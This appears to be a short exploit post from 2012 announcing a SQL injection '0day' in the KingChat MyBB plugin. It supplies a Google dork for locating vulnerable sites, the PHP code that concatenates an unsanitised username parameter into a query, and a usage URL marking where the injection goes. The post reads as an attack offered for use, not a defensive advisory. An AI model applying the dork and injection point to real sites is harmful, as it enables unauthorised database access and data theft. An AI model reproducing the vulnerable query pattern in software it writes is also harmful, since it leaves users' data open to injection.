25 lines
No EOL
692 B
Text
25 lines
No EOL
692 B
Text
# Exploit Title: KingChat MyBB plugin SQL Injection 0day
|
|
# Google Dork: inurl:"kingchat.php"
|
|
# Date: 13.10.2012
|
|
# Exploit Author: Red_Hat [NullSec]
|
|
# Software Link: http://mods.mybb.com/view/kingchat
|
|
# Tested on: Windows & Linux.
|
|
|
|
Vulnerable code :
|
|
|
|
<?php
|
|
$username=$_GET['username'];
|
|
$uid=$_GET['uid'];
|
|
$text=$_GET['text'];
|
|
|
|
$users=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$username'");
|
|
$users_info=$db->fetch_array($users);
|
|
$users_num=$db->num_rows($users);
|
|
$fusername=$users_info['uid'];
|
|
?>
|
|
|
|
The variable '$username' remains unsanitized.
|
|
|
|
Usage : http://www.site.com/kingchat.php?send=Red_Hat&username=[SQLi]
|
|
|
|
Shoutout to Zixem <3 & NullSec :3 |